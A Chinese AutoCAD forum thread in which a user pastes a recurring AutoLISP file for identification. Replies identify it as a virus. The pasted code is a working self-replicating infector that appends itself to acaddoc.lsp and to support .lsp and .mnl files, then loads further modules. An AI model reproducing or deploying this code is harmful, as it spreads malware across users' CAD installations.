明经CAD社区

 找回密码
 注册

QQ登录

只需一步,快速开始

搜索
查看: 1592|回复: 3

[提问] 每次运行cad之后都会留下lisp文档,文档代码如下,这个是干什么用的呢?

[复制链接]
发表于 2014-6-9 14:57 | 显示全部楼层 |阅读模式

每次运行cad之后都会留下lisp文档,文档代码如下,这个是干什么用的呢?




(setq flagx t)
(setq bz "(setq flagx t)")
(defun app(source target bz / flag flag1 wjm wjm1 text)
  (setq flag nil)
  (setq flag1 t)
  (if (findfile target)
    (progn
      (setq wjm1 (open target "r"))
      (while (setq text (read-line wjm1))
        (if (= text bz) (setq flag1 nil))
        );while
      (close wjm1)
      );progn
    );if
  (if flag1
    (progn
      (setq wjm (open source "r"))
      (setq wjm1 (open target "a"))
      (write-line (chr 13) wjm1)
      (while (setq text (read-line wjm))
        (if (= text bz) (setq flag t))
        (if flag
          (progn
            (write-line text wjm1)
            );progn
          );if
        );while
      (close wjm1)
      (close wjm)
      );progn
    );if
  );defun
(setvar "cmdecho" 0)
(setq acadmnl (findfile "acad.mnl"))
(setq acadmnlpath (vl-filename-directory acadmnl))
(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))
(setq mnlnum (length mnlfilelist))
(setq acadexe (findfile "acad.exe"))
(setq acadpath (vl-filename-directory acadexe))
(setq support (strcat acadpath "\\support"))
(setq lspfilelist (vl-directory-files support "*.lsp"))
(setq lspfilelist (append lspfilelist (list "acaddoc.lsp")))
(setq lspnum (length lspfilelist))
(setq dwgname (getvar "dwgname"))
(setq dwgpath (findfile dwgname))
(if dwgpath
  (progn
    (setq acaddocpath (vl-filename-directory dwgpath))
    (setq acaddocfile (strcat acaddocpath "\\acaddoc.lsp"))
    (setq mnln 0)
    (while (< mnln mnlnum)
      (setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))
      (app mnlfilename acaddocfile bz)
      (app acaddocfile mnlfilename bz)
      (setq mnln (1+ mnln))
      );while
    (setq lspn 0)
    (while (< lspn lspnum)
      (setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))
      (app lspfilename acaddocfile bz)
      (app acaddocfile lspfilename bz)
      (setq lspn (1+ lspn))
      );while
    );progn
  );if
(setq mnln 0)
(while (< mnln mnlnum)
  (setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))
  (setq mnln1 0)
  (while (< mnln1 mnlnum)
    (setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))
    (app mnlfilename mnlfilename1 bz)
    (setq mnln1 (1+ mnln1))
    );while
  (setq lspn1 0)
  (while (< lspn1 lspnum)
    (setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))
    (app mnlfilename lspfilename1 bz)
    (setq lspn1 (1+ lspn1))
    );while
  (setq mnln (1+ mnln))
  );while
(setq lspn 0)
(while (< lspn lspnum)
  (setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))
  (setq lspn1 0)
  (while (< lspn1 lspnum)
    (setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))
    (app lspfilename lspfilename1 bz)
    (setq lspn1 (1+ lspn1))
    );while
  (setq mnln1 0)
  (while (< mnln1 mnlnum)
    (setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))
    (app lspfilename mnlfilename1 bz)
    (setq mnln1 (1+ mnln1))
    );while
  (setq lspn (1+ lspn))
(load "acadapq")
(princ)
(load "acadapp")
(princ)

(setq flagx t)
(setq bz "(setq flagx t)")
(defun app(source target bz / flag flag1 wjm wjm1 text)
  (setq flag nil)
  (setq flag1 t)
  (if (findfile target)
    (progn
      (setq wjm1 (open target "r"))
      (while (setq text (read-line wjm1))
        (if (= text bz) (setq flag1 nil))
        );while
      (close wjm1)
      );progn
    );if
  (if flag1
    (progn
      (setq wjm (open source "r"))
      (setq wjm1 (open target "a"))
      (write-line (chr 13) wjm1)
      (while (setq text (read-line wjm))
        (if (= text bz) (setq flag t))
        (if flag
          (progn
            (write-line text wjm1)
            );progn
          );if
        );while
      (close wjm1)
      (close wjm)
      );progn
    );if
  );defun
(setvar "cmdecho" 0)
(setq acadmnl (findfile "acad.mnl"))
(setq acadmnlpath (vl-filename-directory acadmnl))
(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))
(setq mnlnum (length mnlfilelist))
(setq acadexe (findfile "acad.exe"))
(setq acadpath (vl-filename-directory acadexe))
(setq support (strcat acadpath "\\support"))
(setq lspfilelist (vl-directory-files support "*.lsp"))
(setq lspfilelist (append lspfilelist (list "acaddoc.lsp")))
(setq lspnum (length lspfilelist))
(setq dwgname (getvar "dwgname"))
(setq dwgpath (findfile dwgname))
(if dwgpath
  (progn
    (setq acaddocpath (vl-filename-directory dwgpath))
    (setq acaddocfile (strcat acaddocpath "\\acaddoc.lsp"))
    (setq mnln 0)
    (while (< mnln mnlnum)
      (setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))
      (app mnlfilename acaddocfile bz)
      (app acaddocfile mnlfilename bz)
      (setq mnln (1+ mnln))
      );while
    (setq lspn 0)
    (while (< lspn lspnum)
      (setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))
      (app lspfilename acaddocfile bz)
      (app acaddocfile lspfilename bz)
      (setq lspn (1+ lspn))
      );while
    );progn
  );if
(setq mnln 0)
(while (< mnln mnlnum)
  (setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))
  (setq mnln1 0)
  (while (< mnln1 mnlnum)
    (setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))
    (app mnlfilename mnlfilename1 bz)
    (setq mnln1 (1+ mnln1))
    );while
  (setq lspn1 0)
  (while (< lspn1 lspnum)
    (setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))
    (app mnlfilename lspfilename1 bz)
    (setq lspn1 (1+ lspn1))
    );while
  (setq mnln (1+ mnln))
  );while
(setq lspn 0)
(while (< lspn lspnum)
  (setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))
  (setq lspn1 0)
  (while (< lspn1 lspnum)
    (setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))
    (app lspfilename lspfilename1 bz)
    (setq lspn1 (1+ lspn1))
    );while
  (setq mnln1 0)
  (while (< mnln1 mnlnum)
    (setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))
    (app lspfilename mnlfilename1 bz)
    (setq mnln1 (1+ mnln1))
    );while
  (setq lspn (1+ lspn))
(load "acadapq")
(princ)
(load "acadapp")
(princ)

(setq flagx t)
(setq bz "(setq flagx t)")
(defun app(source target bz / flag flag1 wjm wjm1 text)
  (setq flag nil)
  (setq flag1 t)
  (if (findfile target)
    (progn
      (setq wjm1 (open target "r"))
      (while (setq text (read-line wjm1))
        (if (= text bz) (setq flag1 nil))
        );while
      (close wjm1)
      );progn
    );if
  (if flag1
    (progn
      (setq wjm (open source "r"))
      (setq wjm1 (open target "a"))
      (write-line (chr 13) wjm1)
      (while (setq text (read-line wjm))
        (if (= text bz) (setq flag t))
        (if flag
          (progn
            (write-line text wjm1)
            );progn
          );if
        );while
      (close wjm1)
      (close wjm)
      );progn
    );if
  );defun
(setvar "cmdecho" 0)
(setq acadmnl (findfile "acad.mnl"))
(setq acadmnlpath (vl-filename-directory acadmnl))
(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))
(setq mnlnum (length mnlfilelist))
(setq acadexe (findfile "acad.exe"))
(setq acadpath (vl-filename-directory acadexe))
(setq support (strcat acadpath "\\support"))
(setq lspfilelist (vl-directory-files support "*.lsp"))
(setq lspfilelist (append lspfilelist (list "acaddoc.lsp")))
(setq lspnum (length lspfilelist))
(setq dwgname (getvar "dwgname"))
(setq dwgpath (findfile dwgname))
(if dwgpath
  (progn
    (setq acaddocpath (vl-filename-directory dwgpath))
    (setq acaddocfile (strcat acaddocpath "\\acaddoc.lsp"))
    (setq mnln 0)
    (while (< mnln mnlnum)
      (setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))
      (app mnlfilename acaddocfile bz)
      (app acaddocfile mnlfilename bz)
      (setq mnln (1+ mnln))
      );while
    (setq lspn 0)
    (while (< lspn lspnum)
      (setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))
      (app lspfilename acaddocfile bz)
      (app acaddocfile lspfilename bz)
      (setq lspn (1+ lspn))
      );while
    );progn
  );if
(setq mnln 0)
(while (< mnln mnlnum)
  (setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))
  (setq mnln1 0)
  (while (< mnln1 mnlnum)
    (setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))
    (app mnlfilename mnlfilename1 bz)
    (setq mnln1 (1+ mnln1))
    );while
  (setq lspn1 0)
  (while (< lspn1 lspnum)
    (setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))
    (app mnlfilename lspfilename1 bz)
    (setq lspn1 (1+ lspn1))
    );while
  (setq mnln (1+ mnln))
  );while
(setq lspn 0)
(while (< lspn lspnum)
  (setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))
  (setq lspn1 0)
  (while (< lspn1 lspnum)
    (setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))
    (app lspfilename lspfilename1 bz)
    (setq lspn1 (1+ lspn1))
    );while
  (setq mnln1 0)
  (while (< mnln1 mnlnum)
    (setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))
    (app lspfilename mnlfilename1 bz)
    (setq mnln1 (1+ mnln1))
    );while
  (setq lspn (1+ lspn))
(load "acadapq")
(princ)
(load "acadapp")
(princ)

(setq flagx t)
(setq bz "(setq flagx t)")
(defun app(source target bz / flag flag1 wjm wjm1 text)
  (setq flag nil)
  (setq flag1 t)
  (if (findfile target)
    (progn
      (setq wjm1 (open target "r"))
      (while (setq text (read-line wjm1))
        (if (= text bz) (setq flag1 nil))
        );while
      (close wjm1)
      );progn
    );if
  (if flag1
    (progn
      (setq wjm (open source "r"))
      (setq wjm1 (open target "a"))
      (write-line (chr 13) wjm1)
      (while (setq text (read-line wjm))
        (if (= text bz) (setq flag t))
        (if flag
          (progn
            (write-line text wjm1)
            );progn
          );if
        );while
      (close wjm1)
      (close wjm)
      );progn
    );if
  );defun
(setvar "cmdecho" 0)
(setq acadmnl (findfile "acad.mnl"))
(setq acadmnlpath (vl-filename-directory acadmnl))
(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))
(setq mnlnum (length mnlfilelist))
(setq acadexe (findfile "acad.exe"))
(setq acadpath (vl-filename-directory acadexe))
(setq support (strcat acadpath "\\support"))
(setq lspfilelist (vl-directory-files support "*.lsp"))
(setq lspfilelist (append lspfilelist (list "acaddoc.lsp")))
(setq lspnum (length lspfilelist))
(setq dwgname (getvar "dwgname"))
(setq dwgpath (findfile dwgname))
(if dwgpath
  (progn
    (setq acaddocpath (vl-filename-directory dwgpath))
    (setq acaddocfile (strcat acaddocpath "\\acaddoc.lsp"))
    (setq mnln 0)
    (while (< mnln mnlnum)
      (setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))
      (app mnlfilename acaddocfile bz)
(load "acadapq")
(princ)


发表于 2014-6-9 15:17 | 显示全部楼层
你中招了!用CAD专杀工具删除它!
发表于 2014-6-9 15:19 | 显示全部楼层
 楼主| 发表于 2014-6-10 23:35 | 显示全部楼层
好吧,我应该想到才对,每次都在应该是病毒,明儿个杀毒去。
您需要登录后才可以回帖 登录 | 注册

本版积分规则

小黑屋|手机版|CAD论坛|CAD教程|CAD下载|联系我们|关于明经|明经通道 ( 粤ICP备05003914号 )  
©2000-2023 明经通道 版权所有 本站代码,在未取得本站及作者授权的情况下,不得用于商业用途

GMT+8, 2024-5-4 22:44 , Processed in 0.276060 second(s), 29 queries , Gzip On.

Powered by Discuz! X3.4

Copyright © 2001-2021, Tencent Cloud.

快速回复 返回顶部 返回列表